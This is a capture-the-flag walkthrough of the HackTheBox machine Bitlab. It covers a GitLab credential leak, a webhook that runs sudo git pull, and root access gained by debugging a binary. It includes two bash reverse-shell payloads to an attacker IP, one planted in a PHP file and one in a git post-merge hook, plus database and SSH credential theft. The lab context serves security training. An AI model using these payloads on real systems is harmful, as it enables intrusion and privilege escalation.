Develop a hunger to accomplish your dreams!

HackTheBox Bitlab Machine Info Card

Bitlab is a medium difficulty machine running Linux. It tests your knowledge in Git, basic privilege escalation or Reverse Engineering/Debugging techniques. This machine can have a relatively steep learning curve if you have no experience in software RE/Debug.

Be sure to checkout the Basic Setup section before you get started.


Like always, enumeration is our first port of call. Let’s take a look at the machine and see what we are dealing with.


portscan bitlab.htb
Grabbing ports...
Ports grabbed!
Starting Nmap 7.80 ( ) at 2019-12-19 00:00 PST
Nmap scan report for bitlab.htb (
Host is up (0.22s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://bitlab.htb/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 14.68 seconds


Navigating to port 80 by going to http://bitlab.htb we are greeted with a Gitlab login page:

Bitlab Main Screenshot

If we click the Explore link at the bottom of the page it brings us to another page that tells us that there are No projects found:

Bitlab Explore Screenshot

Information Leak

Going through the links at the top menu Groups and Snippets also have nothing to show. However, when we click on the Help link we are presented with a directory that contains a bookmarks.html file. This file is related to exporting bookmarks from browsers so this could potentially show us some juicy data.

Bitlab Help Index Screenshot

Taking a look we find five pages bookmarked and one looks promising called Gitlab Login:

Bitlab Bookmarks Screenshot


Having a look at this link it is javascript. Let’s right-click and select Copy link location to copy the javascript code and then navigate back to the login page at http://bitlab.htb. We will open up our web console and paste the javascript then press enter. This prefills the login details and we can successfully login:

Bitlab Javascript Screenshot

To see what the password is we can simply console.log() the variable like so:

Bitlab console.log Screenshot

As we can see we uncover the username: clave and password: 11d...81x.

Trying the password with the username clave as well as root via ssh unsurprisingly yields no results.

Logging in to Gitlab we are presented with two projects Profile and Deployer:

Bitlab Clave Dashboard Screenshot

Going to the Administrator/Profile project the first thing I notice is TODO: Connect with postgresql which could be useful information later on. There is also a link to a profile box bootstrap snippet which is contained in the index.php file of the project.

Exploitable Script

Taking a look at the Administrator/Deployer project we see a link in to a Gitlab documentation page regarding webhooks and a file called index.php that looks like it is using webhooks to automatically update the local repository using git pull:


$input = file_get_contents("php://input");
$payload  = json_decode($input);

$repo = $payload->project->name ?? '';
$event = $payload->event_type ?? '';
$state = $payload->object_attributes->state ?? '';
$branch = $payload->object_attributes->target_branch ?? '';

if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
    echo shell_exec('cd ../profile/; sudo git pull'),"\n";

echo "OK\n";

When an event occurs the index.php file is run which in turn executes the shell_exec() function which is used to execute the operating system commands cd ../profile/; sudo git pull

Taking note of the command traversing to the profile directory we can find this page at: http://bitlab.htb/profile/

Looks like we have found the entry point for our foothold and potentially even a leap straight to root since sudo is being used.


All we need to do is update the Profile repository, commit the changes, submit a merge request and then merge the changes. This should satisfy all conditions of the webhook event that clave has setup and our changes to the repository should be pulled into the profile directory on the system.

To gain a shell we will simply edit index.php in the Profile repository adding the line:

<?php echo exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker-ip>/1234 0>&1'"); ?>

We then go through clicking the buttons Commit changes, Submit merge request and then Merge.

On our attacker machine we setup our listener:

nc -lvp 1234

Once setup we execute the payload by navigating to: http://bitlab.htb/profile/index.php

We should receive a shell via netcat:

Ncat: Listening on :::1234
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
www-data@bitlab:/var/www/html/profile$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We can upgrade our shell if we wish.


First things first we should take a look at this postgres mention we found in the Profile repository readme file. Now we are logged in to GitLab let’s go back through the top links we went through earlier. We can see a bunch of stuff in the Activity section that we have already seen. Moving along we go to the Snippets link and find a submission called Postgresql.

Taking a look we see the code:

$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=p.....s");
$result = pg_query($db_connection, "SELECT * FROM profiles");

Let’s use this info from our newly obtained shell to grab data from the database using our own PHP script. Hopefully we can find some juicy info.

Here we find that /var/www/html/profile is owned by root so let’s cd /tmp and write our script there:

$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=p.....s");
$result = pg_query($db_connection, "SELECT * FROM profiles");

$i = 0;
while ($row = pg_fetch_row($result)) 
        $count = count($row);
        $y = 0;
        while ($y < $count)
                $c_row = current($row);
                echo ' | ' . $c_row . ' | ';
                $y = $y + 1;
        $i = $i + 1;
echo " "  . PHP_EOL;

Then we can execute the file and see what we have got:

php db.php
| 1 |  | clave |  | c3NoL...wQHNz== |

Looks like more credentials. At first I thought that the password was base64 encoding as it decodes to the string ssh-str0ng-p@ss. However, the password is just disguised as one potentially for a rabbithole affect. We can simply login with the password as is:

ssh clave@bitlab.htb
clave@bitlab.htb password: 
Last login: Thu Aug  8 14:40:09 2019
clave@bitlab:~$ cat user.txt 

We take yet another user.txt flag! Time for root.


Looking in clave’s home directory we find a file called RemoteConnection.exe.

Let’s download it:

scp clave@bitlab.htb:/home/clave/RemoteConnection.exe .

And then have a look at it with a debugger.


Open up ollydbg and go to File -> Open in the top menu navigating to RemoteConnection.exe and selecting it.

Once loaded, depending on your layout, we should see the following:

Bitlab OllyDBG Screenshot

If you are missing the Executable modules and References windows you can open them by going to View in the top menu:

Bitlab OllyDBG View Screenshot

Check that the CPU window is on module RemoteCo:

Bitlab OllyDBG Module Screenshot

If it isn’t double click RemoteConnection.exe from the Executable modules window.

In the CPU window right click and select Search for -> All referenced text strings from the context menu:

Bitlab OllyDBG Search For Screenshot


We should see a list appear in the References window showing a bunch of strings:

Bitlab OllyDBG References Screenshot

Here we can see an ASCII string which looks interesting:


This looked like it could potentially be a password but on checking this was not the case. Would have been too easy!

At a closer look we see UNICODE "clave" which we know is a username used on the system and then a mention of UNICODE "C:\Program Files\PuTTY\putty.exe" which is an SSH client. Given the name of the file RemoteConnection.exe we can safely assume that this program is meant to connect to bitlab and most likely as root.

We look at the Disassembly section related to UNICODE "clave" and see CMP which stands for compare. We like comparisons as that’s usually where interesting things happen.


Let’s set a breakpoint and see whats going on. While the string UNICODE "clave" is selected press F2. We will see the address 00401640 highlighted in red showing that we have created a breakpoint for that location:

Bitlab OllyDBG Breakpoint Screenshot

To run the Debug press F9 which brings us to our breakpoint.

Looking under the Registers section we uncover what we are looking for:

Bitlab OllyDBG Root Password Screenshot

We can now log in to root with the password Qf7].........[7d?j&eD4^:

ssh root@bitlab.htb
root@bitlab.htb password: 
root@bitlab:~# id
uid=0(root) gid=0(root) groups=0(root)
root@bitlab:~# cat root.txt

And there we have it… Another box rooted!!

Alternate Root

If you take a look at the beginning of this writeup I stated “tests your knowledge in Git, basic privilege escalation or Reverse Engineering/Debugging techniques”. Maybe you noticed it? Or maybe not!

Remember back when we found the exploitable script that used sudo git pull I also stated “potentially even a leap straight to root?

I know, I know! I’m sorry! But in my defence I wanted you to go through the Debugging way first.

Rewinding back to when we gained our foothold with the user www-data and we went in to the /tmp to write our PHP script we could of done something a whole lot simpler.

Git Hooks

In researching exploits for git pull I came across this post. I decided that githooks was going to be my attack method.

With further research I found the hook post-merge which is invoked by git-merge which happens when a git pull is done on a local repository. This fits all our criteria.

Now the issue here is that we can’t just add a hook to the .git folder in the repository because:

  1. Gitlab doesn’t allow it.
  2. /var/www/html/profile is owned by root.

To combat this we will just recreate the profile repository so we do have ownership.

Being in /tmp we will copy the profile repository to this location and then traverse in to it:

cp -r /var/www/html/profile/ profile && cd profile

We will then create our payload:

echo '#!/bin/sh' > .git/hooks/post-merge && echo 'bash -i >& /dev/tcp/<attacker-ip>/6969 0>&1' >> .git/hooks/post-merge

And make the file executable:

chmod +x .git/hooks/post-merge

Next we get our listener ready on the attacker machine:

nc -lvp 6969

Now all thats left to do is alter a file in the profile repository on Gitlab.

From there we commit the changes, submit a merge request and merge.

Once that is done we can pull in the changes to our own repository:

sudo git pull

We should then receive a connection at our netcat session:

Ncat: Listening on :::6969
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
root@bitlab:/tmp/profile# id
uid=0(root) gid=0(root) groups=0(root)
root@bitlab:/tmp/profile# cat /root/root.txt
cat /root/root.txt

There we have it www-data -> root.


The initial foothold once again shows how the misconfiguration of a website can cause a ripple all the way to a system breach. Once compromised the misconfiguration of tools like sudo allow execution of a command that can cause privilege escalation to root quite easily. To avoid such things don’t misconfigure a link to direct to your personal bookmarks which weirdly contains javascript code that holds your username and password :laughing:

Hack The Box